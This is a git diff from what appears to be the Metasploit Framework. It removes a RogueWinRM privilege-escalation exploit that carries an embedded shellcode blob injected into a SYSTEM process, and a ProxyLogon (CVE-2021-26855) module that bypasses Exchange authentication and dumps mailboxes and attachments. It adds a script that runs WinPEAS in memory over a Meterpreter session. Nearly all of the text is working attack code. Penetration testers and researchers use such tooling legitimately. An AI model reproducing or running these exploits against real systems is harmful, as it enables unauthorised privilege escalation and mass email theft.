diff --git a/external/source/exploits/drunkpotato/RogueWinRM exe/main.c b/external/source/exploits/drunkpotato/RogueWinRM exe/main.c
deleted file mode 100644
index ec6501e4c49b1..0000000000000
--- a/external/source/exploits/drunkpotato/RogueWinRM exe/main.c
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
-This is an escalation privilege exploit which launch an arbitrary process as SYSTEM user.
-It takes advantage of the BITS behavior which always try to connect on port 5985 (Windows
-Remote Management) even if there is no WinRM service listening on that port. This exploit
-launch a rogue WinRM service which force BITS service to authenticate by sending it a 401
-challenge response packet. The authentication allows to steal a SYSTEM token as a primary
-token, and use it to launch an arbitrary process as SYSTEM.
-
-In practice, this exploit launch notepad.exe as SYSTEM. Then, it copies the shellcode
-received from metasploit into the remote SYSTEM process and make it trigger its execution.
-
-Details of the vulnerability here :
-https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/
-
-This exploit was developed from decoder's POC here:
-https://github.com/antonioCoco/RogueWinRM
-
-PREREQUISITES/
-- Port 5985 must be free
-- BITS must not be running
-
-WARNING:
-- As this exploit launches a services, a firewall popup may appear.
-*/
-
-#include "../Common_Src_Files/pch.h"
-
-int main(int argc, char** argv)
-{
- int exit_status = -1;
- char shellcode[] = "47001\x00notepad.exe\x00\x31\x33\x38\x34\00\x48\x31\xc9\x48\x81\xe9\xa1\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\x6c\xdd\xf4\xfa\xe9\x0d\x46\xb4\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x90\x95\x77\x1e\x19\xe5\x8a\xb4\x6c\xdd\xb5\xab\xa8\x5d\x14\xe5\x24\xec\x26\x9f\xa1\x86\x14\xd4\x3a\x95\x7f\xa8\xf1\x45\xcd\xe6\x4c\x95\x7f\x88\xb9\x45\x49\x03\x26\x97\xb9\xcb\x20\x45\x77\x74\xc0\xe1\x95\x86\xeb\x21\x66\xf5\xad\x14\xf9\xbb\xe8\xcc\xa4\x59\x3e\x9c\xa5\xb2\x62\x5f\x66\x3f\x2e\xe1\xbc\xfb\x39\x6b\xc7\xcc\x74\xd6\xf6\xf5\x6c\x7f\x46\xb4\x6c\x56\x74\x72\xe9\x0d\x46\xfc\xe9\x1d\x80\x9d\xa1\x0c\x96\xf0\xe7\x9d\xd4\xaa\xa0\x0c\x96\x3f\x24\xc5\x17\xac\xa4\x3c\x8f\xfc\x93\x14\xb5\x71\xdd\x85\x0e\xb5\xba\x95\xc5\x3a\x45\x4c\x87\x7d\x61\x9c\xf5\x3b\xd1\xed\x33\x45\x20\xde\xb8\xde\xe1\x48\x7f\x65\x19\x05\xac\xbe\x62\x4d\x62\xfd\x6d\x0d\x92\xbb\x62\x01\x0e\xf0\xe7\x9d\xe8\xb3\xe8\xdd\x07\x3f\x68\x55\xbc\xfb\x39\x4c\x1e\xf5\x34\x83\xad\xa0\xa8\x55\x07\xed\x2d\x87\xbc\x79\x05\x2d\x07\xe6\x93\x3d\xac\xbb\xb0\x57\x0e\x3f\x7e\x34\xbf\x05\x16\xf2\x1b\xfc\x5d\x06\xa7\xb3\x57\x7a\x2f\xda\x05\xb3\x91\x8e\xe9\x4c\x10\xfc\xe5\x3c\xbd\x3d\x2b\x41\x31\x92\x6b\x22\x21\xa9\xba\x45\xcf\x55\x3f\x87\xb9\xcb\x29\x40\x77\x7d\x3f\x8e\xbd\x40\xd3\x5b\x3f\x13\x6c\xdd\xf4\xfa\x16\xd8\xae\xb9\x6c\xdd\xf4\xcb\xd0\x3f\x68\x85\x5a\xe5\xda\xcb\xc7\x3e\x72\xb4\x36\x95\x7d\x3b\xa0\xca\x86\x08\x6d\xdd\xf4\xb7\xd8\xc4\x15\xe7\x06\xde\xa7\xb3\x53\x5a\xcf\x2b\xaa\xdd\xf4\xfa\xe9\xf2\x93\x5c\xa0\xdd\xf4\xfa\xc6\x48\x71\xd8\x5a\xb5\xb1\xca\xb3\x3f\x02\xcc\x0f\x9b\xc5\xca\xbf\x4c\x7f\xda\x06\xb4\xb5\xcc\xaa\x64\x11\xde\x1e\x8b\xad\xbf\xdb\x7c\x21\xd2\x06\xae\xa6\x90\x88\x54\x0c\xdc\x2b\x95\xc1\xb5\xa5\x62\x20\xcd\x16\x87\xa4\x9c\xdf\x49\x02\xee\x55\xb9\xa1\xc2\xbc\x43\x0c\xc2\x3f\xa5\x92\xd7\x99\x44\x3c\xf5\x08\xe9\xa1\x9c\x86\x67\x33\xda\x55\xe9\xcd\xac\x8e\x6e\x2e\xfe\x04\x91\x9f\xb2\xb1\x67\x37\xcd\x3f\xb1\xa4\xa0\x9a\x47\x0b\xeb\x1f\x97\xb0\x8d\xab\x4e\x70\xc1\x36\xb0\xc7\xa3\xc4\x6f\x21\xd6\x54\xf0\xab\x9c\xc4\x4c\x32\xdb\x20\xed\x91\xb1\x86\x3d\x27\xde\x2f\x9a\x90\xa9\xb9\x78\x0d\xd9\x0f\xa8\xc4\x94\xa7\x6e\x6b\xfd\x5c\x97\x97\x82\x9c\x77\x13\xfe\x02\x94\x99\xcb\xa1\x7e\x76\x83\x5e\x99\x82\x82\x8a\x3a\x3c\x87\x34\x8d\xb0\xaa\xba\x66\x75\x8c\x5e\xab\xbe\xb9\x8f\x47\x33\x83\x3b\xf0\x97\x82\x9f\x49\x14\xb4\x24\x54\x35\xa9\xb3\x4c\x1e\xf9\x5d\x14\xa7\xb2\x51\x0d\x74\x1c\xe8\xdd\xf4\xfa\xe9\x5d\x15\xe7\x25\x1a\x36\x11\xbc\x23\x7d\x4b\xb9\x95\x7d\x3c\x83\x07\x19\xfc\xe5\x2c\x9e\xe5\xb3\x5f\x2e\x34\x5f\xdd\xf4\xb3\x60\xed\x2c\xb0\x2d\x84\xbd\x40\x9c\x4b\xd8\x32\x6c\xdd\xf4\xfa\x16\xd8\x0b\x85\xac\x8e\xae\xb2\x60\xfc\x0b\x85\xa5\x90\xc5\x33\xba\x5e\x0f\x73\xae\xf0\xf2\xe2\x92\xf2\x93\x31\xac\xa8\xeb\xb2\x2e\xcc\xce\xa7\x6c\xdd\xbd\x40\xad\xfd\x73\x54\x6c\xdd\xf4\xfa\x16\xd8\x0e\x4b\xa3\xa9\xf6\x11\x43\xe5\x13\xb4\x6c\xdd\xa7\xa3\x83\x4d\x1c\xfd\xe5\x0c\x35\x18\xf9\x44\x81\x74\x6c\xcd\xf4\xfa\xa0\xb7\x1e\x10\x3f\x38\xf4\xfa\xe9\x0d\xb9\x61\x24\x4e\xa7\xa9\xa1\x84\xa1\xfc\xe5\x2c\xbc\x73\x33\x44\x81\x74\x6c\xfd\xf4\xfa\xa0\x84\xbf\xfd\xd6\xcf\x62\x73\x0b\x0d\x46\xb4\x6c\x22\x21\xb2\x6a\xc9\x66\x31\xac\xa9\x46\x9c\x62\x0a\x0e\xb5\xaf\x58\x34\x8f\x3b\x55\x85\xec\x06\xdd\xad\xb3\x2e\xcf\xb6\x01\xce\x8b\x0b\x2f\xe9\x0d\x46\xb4";
-
- dprintf("[main] Entry point.");
-
- exit_status = RunRogueWinRM(shellcode);
- return exit_status;
-}
diff --git a/modules/auxiliary/gather/exchange_proxylogon_collector.rb b/modules/auxiliary/gather/exchange_proxylogon_collector.rb
deleted file mode 100644
index d3d77873d7635..0000000000000
--- a/modules/auxiliary/gather/exchange_proxylogon_collector.rb
+++ /dev/null
@@ -1,437 +0,0 @@
-##
-# This module requires Metasploit: https://metasploit.com/download
-# Current source: https://github.com/rapid7/metasploit-framework
-##
-
-# begin auxiliary class
-class MetasploitModule < Msf::Auxiliary
- include Msf::Exploit::Remote::HttpClient
-
- def initialize(info = {})
- super(
- update_info(
- info,
- 'Name' => 'Microsoft Exchange ProxyLogon Collector',
- 'Description' => %q{
- This module exploit a vulnerability on Microsoft Exchange Server that
- allows an attacker bypassing the authentication and impersonating as the
- admin (CVE-2021-26855).
-
- By taking advantage of this vulnerability, it is possible to dump all
- mailboxes (emails, attachments, contacts, ...).
-
- This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
- Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,
- Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).
-
- All components are vulnerable by default.
- },
- 'Author' => [
- 'Orange Tsai', # Discovery (Officially acknowledged by MSRC)
- 'GreyOrder', # PoC (https://github.com/GreyOrder)
- 'mekhalleh (RAMELLA Sébastien)' # Module author independent researcher (work at Zeop Entreprise)
- ],
- 'References' => [
- ['CVE', '2021-26855'],
- ['LOGO', 'https://proxylogon.com/images/logo.jpg'],
- ['URL', 'https://proxylogon.com/'],
- ['URL', 'https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/'],
- ['URL', 'https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/distinguishedfolderid'],
- ['URL', 'https://github.com/3gstudent/Homework-of-Python/blob/master/ewsManage.py']
- ],
- 'DisclosureDate' => '2021-03-02',
- 'License' => MSF_LICENSE,
- 'DefaultOptions' => {
- 'RPORT' => 443,
- 'SSL' => true
- },
- 'Actions' => [
- [
- 'Dump (Contacts)', {
- 'Description' => 'Dump user contacts from exchange server',
- 'id_attribute' => 'contacts'
- }
- ],
- [
- 'Dump (Emails)', {
- 'Description' => 'Dump user emails from exchange server'
- }
- ]
- ],
- 'DefaultAction' => 'Dump (Emails)',
- 'Notes' => {
- 'AKA' => ['ProxyLogon'],
- 'Stability' => [CRASH_SAFE],
- 'Reliability' => [],
- 'SideEffects' => [IOC_IN_LOGS]
- }
- )
- )
-
- register_options([
- OptBool.new('ATTACHMENTS', [true, 'Dump documents attached to an email', true]),
- OptString.new('EMAIL', [true, 'The email account what you want dump']),
- OptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']),
- OptEnum.new('METHOD', [true, 'HTTP Method to use for the check (only).', 'POST', ['GET', 'POST']]),
- OptString.new('TARGET', [false, 'Force the name of the internal Exchange server targeted'])
- ])
-
- register_advanced_options([
- OptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 2147483647])
- ])
- end
-
- XMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze
-
- def dump_contacts(server_name)
- ssrf = "#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}"
-
- response = send_xml('POST', ssrf, soap_countitems(action['id_attribute']))
- if response.body =~ /Success/
- print_good("Successfully connected to: #{action['id_attribute']}")
- xml = Nokogiri::XML.parse(response.body)
-
- folder_id = xml.at_xpath('//t:ContactsFolder/t:FolderId', XMLNS)&.values&.at(0)
- print_status("Selected folder: #{action['id_attribute']} (#{folder_id})")
-
- total_count = xml.at_xpath('//t:ContactsFolder/t:TotalCount', XMLNS)&.content
- print_status("Number of contact found: #{total_count}")
-
- if total_count.to_i > datastore['MaxEntries']
- print_warning("Number of contact recalculated due to max entries: #{datastore['MaxEntries']}")
- total_count = datastore['MaxEntries'].to_s
- end
-
- response = send_xml('POST', ssrf, soap_listitems(action['id_attribute'], total_count))
- xml = Nokogiri::XML.parse(response.body)
-
- print_status(message("Processing dump of #{total_count} items"))
- data = xml.xpath('//t:Items/t:Contact', XMLNS)
- if data.empty?
- print_status('The user has no contacts')
- else
- write_loot("#{datastore['EMAIL']}_#{action['id_attribute']}", data.to_s)
- end
- end
- end
-
- def dump_emails(server_name)
- ssrf = "#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}"
-
- response = send_xml('POST', ssrf, soap_countitems(datastore['FOLDER']))
- if response.body =~ /Success/
- print_good("Successfully connected to: #{datastore['FOLDER']}")
- xml = Nokogiri::XML.parse(response.body)
-
- folder_id = xml.at_xpath('//t:Folder/t:FolderId', XMLNS)&.values&.at(0)
- print_status("Selected folder: #{datastore['FOLDER']} (#{folder_id})")
-
- total_count = xml.at_xpath('//t:Folder/t:TotalCount', XMLNS)&.content
- print_status("Number of email found: #{total_count}")
-
- if total_count.to_i > datastore['MaxEntries']
- print_warning("Number of email recalculated due to max entries: #{datastore['MaxEntries']}")
- total_count = datastore['MaxEntries'].to_s
- end
-
- print_status(message("Processing dump of #{total_count} items"))
- download_items(total_count, ssrf)
- end
- end
-
- def download_attachments(item_id, ssrf)
- response = send_xml('POST', ssrf, soap_listattachments(item_id))
- xml = Nokogiri::XML.parse(response.body)
-
- xml.xpath('//t:Message/t:Attachments/t:FileAttachment', XMLNS).each do |item|
- item_id = item.at_xpath('./t:AttachmentId', XMLNS)&.values&.at(0)
-
- response = send_xml('POST', ssrf, soap_downattachment(item_id))
- data = Nokogiri::XML.parse(response.body)
-
- filename = data.at_xpath('//t:FileAttachment/t:Name', XMLNS)&.content
- ctype = data.at_xpath('//t:FileAttachment/t:ContentType', XMLNS)&.content
- content = data.at_xpath('//t:FileAttachment/t:Content', XMLNS)&.content
-
- print_status(" -> attachment: #{item_id} (#{filename})")
- write_loot("#{datastore['EMAIL']}_#{datastore['FOLDER']}", Rex::Text.decode_base64(content), filename, ctype)
- end
- end
-
- def download_items(total_count, ssrf)
- response = send_xml('POST', ssrf, soap_listitems(datastore['FOLDER'], total_count))
- xml = Nokogiri::XML.parse(response.body)
-
- xml.xpath('//t:Items/t:Message', XMLNS).each do |item|
- item_info = item.at_xpath('./t:ItemId', XMLNS)&.values
- next if item_info.nil?
-
- print_status("Download item: #{item_info[1]}")
-
- response = send_xml('POST', ssrf, soap_downitem(item_info[0], item_info[1]))
- data = Nokogiri::XML.parse(response.body)
-
- email = data.at_xpath('//t:Message/t:MimeContent', XMLNS)&.content
- write_loot("#{datastore['EMAIL']}_#{datastore['FOLDER']}", Rex::Text.decode_base64(email))
-
- attachments = item.at_xpath('./t:HasAttachments', XMLNS)&.content
- if datastore['ATTACHMENTS'] && attachments == 'true'
- download_attachments(item_info[0], ssrf)
- end
- print_status
- end
- end
-
- def message(msg)
- "#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
- end
-
- def random_ssrf_id
- # https://en.wikipedia.org/wiki/2,147,483,647 (lol)
- # max. 2147483647
- rand(1941962752..2147483647)
- end
-
- def request_autodiscover(server_name)
- xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }
-
- response = send_xml('POST', "#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}", soap_autodiscover)
-
- case response.body
- when %r{500}
- fail_with(Failure::NotFound, 'No Autodiscover information was found')
- when %r{redirectAddr}
- fail_with(Failure::NotFound, 'No email address was found')
- end
-
- xml = Nokogiri::XML.parse(response.body)
-
- legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content
- fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.blank?
-
- server = ''
- owa_urls = []
- xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|
- type = item.at_xpath('./xmlns:Type', xmlns)&.content
- if type == 'EXCH'
- server = item.at_xpath('./xmlns:Server', xmlns)&.content
- end
-
- next unless type == 'WEB'
-
- item.xpath('./xmlns:Internal/xmlns:OWAUrl', xmlns).each do |owa_url|
- owa_urls << owa_url.content
- end
- end
- fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?
- fail_with(Failure::NotFound, 'No \'OWAUrl\' was found') if owa_urls.empty?
-
- return([server, legacy_dn, owa_urls])
- end
-
- def send_http(method, ssrf, data: '', ctype: 'application/x-www-form-urlencoded')
- request = {
- 'method' => method,
- 'uri' => @random_uri,
- 'cookie' => "X-BEResource=#{ssrf};",
- 'ctype' => ctype
- }
- request = request.merge({ 'data' => data }) unless data.empty?
-
- received = send_request_cgi(request)
- fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received
-
- received
- end
-
- def send_xml(method, ssrf, data, ctype: 'text/xml; charset=utf-8')
- send_http(method, ssrf, data: data, ctype: ctype)
- end
-
- def soap_autodiscover
- <<~SOAP
-
-
-
- #{datastore['EMAIL']}
- http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a
-
-
- SOAP
- end
-
- def soap_countitems(folder_id)
- <<~SOAP
-
-
-
-
-
- Default
-
-
-
-
- #{datastore['EMAIL']}
-
-
-
-
-
-
- SOAP
- end
-
- def soap_listattachments(item_id)
- <<~SOAP
-
-
-
-
- IdOnly
-
-
-
-
-
-
-
-
-
-
- SOAP
- end
-
- def soap_listitems(folder_id, max_entries)
- <<~SOAP
-
-
-
-
-
- AllProperties
-
-
-
-
-
- #{datastore['EMAIL']}
-
-
-
-
-
-
- SOAP
- end
-
- def soap_downattachment(item_id)
- <<~SOAP
-
-
-
-
-
-
-
-
-
- SOAP
- end
-
- def soap_downitem(id, change_key)
- <<~SOAP
-
-
-
-
-
- IdOnly
- true
-
-
-
-
-
-
-
- SOAP
- end
-
- def write_loot(type, data, name = '', ctype = 'text/plain')
- loot_path = store_loot(type, ctype, datastore['RHOSTS'], data, name, '')
- print_good("File saved to #{loot_path}")
- end
-
- def run
- @proto = (ssl ? 'https' : 'http')
- @random_uri = normalize_uri('ecp', "#{Rex::Text.rand_text_alpha(1..3)}.js")
-
- print_status(message('Attempt to exploit for CVE-2021-26855'))
-
- # request for internal server name.
- response = send_http(datastore['METHOD'], "localhost~#{random_ssrf_id}")
- if response.code != 500 || !response.headers.to_s.include?('X-FEServer')
- fail_with(Failure::NotFound, 'No \'X-FEServer\' was found')
- end
- server_name = response.headers['X-FEServer']
- print_status("Internal server name (#{server_name})")
-
- # get information by autodiscover request.
- print_status(message('Sending autodiscover request'))
- server_id, legacy_dn, owa_urls = request_autodiscover(server_name)
-
- print_status("Server: #{server_id}")
- print_status("LegacyDN: #{legacy_dn}")
- print_status("Internal target(s): #{owa_urls.join(', ')}")
-
- # selecting target
- print_status(message('Selecting the first internal server to respond'))
- if datastore['TARGET'].nil? || datastore['TARGET'].empty?
- target = ''
- owa_urls.each do |url|
- host = url.split('://')[1].split('.')[0].downcase
- next unless host != server_name.downcase
-
- response = send_http('GET', "#{host}/EWS/Exchange.asmx?a=~#{random_ssrf_id}")
- next unless response.code == 200
-
- target = host
- print_good("Targeting internal: #{url}")
-
- break
- end
- fail_with(Failure::NotFound, 'No internal target was found') if target.empty?
- else
- target = datastore['TARGET']
- print_good("Targeting internal forced to: #{target}")
- end
-
- # run action
- case action.name
- when /Dump \(Contacts\)/
- print_status(message("Attempt to dump contacts for <#{datastore['EMAIL']}>"))
- dump_contacts(target)
- when /Dump \(Emails\)/
- print_status(message("Attempt to dump emails for <#{datastore['EMAIL']}>"))
- dump_emails(target)
- end
- end
-
-end
diff --git a/scripts/winpeas_dotnet_execution_example.rb b/scripts/winpeas_dotnet_execution_example.rb
new file mode 100644
index 0000000000000..8e9d90a26d554
--- /dev/null
+++ b/scripts/winpeas_dotnet_execution_example.rb
@@ -0,0 +1,50 @@
+# Metasploit automation script to execute WinPEAS as a .NET assembly in-memory
+# using post/windows/manage/execute_dotnet_assembly module.
+#
+# This script demonstrates:
+# - Setting the session
+# - Specifying the path to WinPEAS .NET executable
+# - Running the module
+# - Fallback to PowerShell import and execution if module unavailable
+#
+# Usage:
+# Load this script in msfconsole and run:
+# run winpeas_dotnet_execution_example.rb -j -z
+#
+# Note:
+# - Ensure the session ID is valid and connected to a Windows x64 target.
+# - Ensure WinPEAS .NET executable path is accessible.
+# - Avoid injecting into incompatible native processes like Notepad.
+
+session_id = 1 # Replace with your Meterpreter session ID
+winpeas_path = '/path/to/winpeas.exe' # Replace with actual path to WinPEAS .NET executable
+
+# Load the execute_dotnet_assembly post module
+post_module = framework.modules.use('post', 'windows', 'manage', 'execute_dotnet_assembly')
+
+# Set required options
+post_module.datastore['SESSION'] = session_id
+post_module.datastore['ASSEMBLY_PATH'] = winpeas_path
+
+print_status("Running execute_dotnet_assembly module for WinPEAS on session #{session_id}...")
+begin
+ post_module.run
+rescue ::Exception => e
+ print_error("Failed to run execute_dotnet_assembly module: #{e.message}")
+ print_status("Falling back to PowerShell import and execution...")
+
+ # Fallback: Use Meterpreter PowerShell extension to import and execute WinPEAS DLL in memory
+ powershell_dll_path = '/path/to/winpeas.dll' # Replace with actual path to WinPEAS DLL
+
+ # Import the DLL
+ cmd_import = "powershell_import #{powershell_dll_path}"
+ print_status("Importing WinPEAS DLL via PowerShell: #{cmd_import}")
+ client.run_single("powershell -Command \"#{cmd_import}\"")
+
+ # Execute the DLL function
+ cmd_execute = "powershell_execute Invoke-WinPEAS"
+ print_status("Executing WinPEAS DLL via PowerShell: #{cmd_execute}")
+ client.run_single("powershell -Command \"#{cmd_execute}\"")
+end
+
+print_good("WinPEAS execution attempt completed. Ensure process architecture matches target (x64). Avoid injecting into native processes like Notepad.")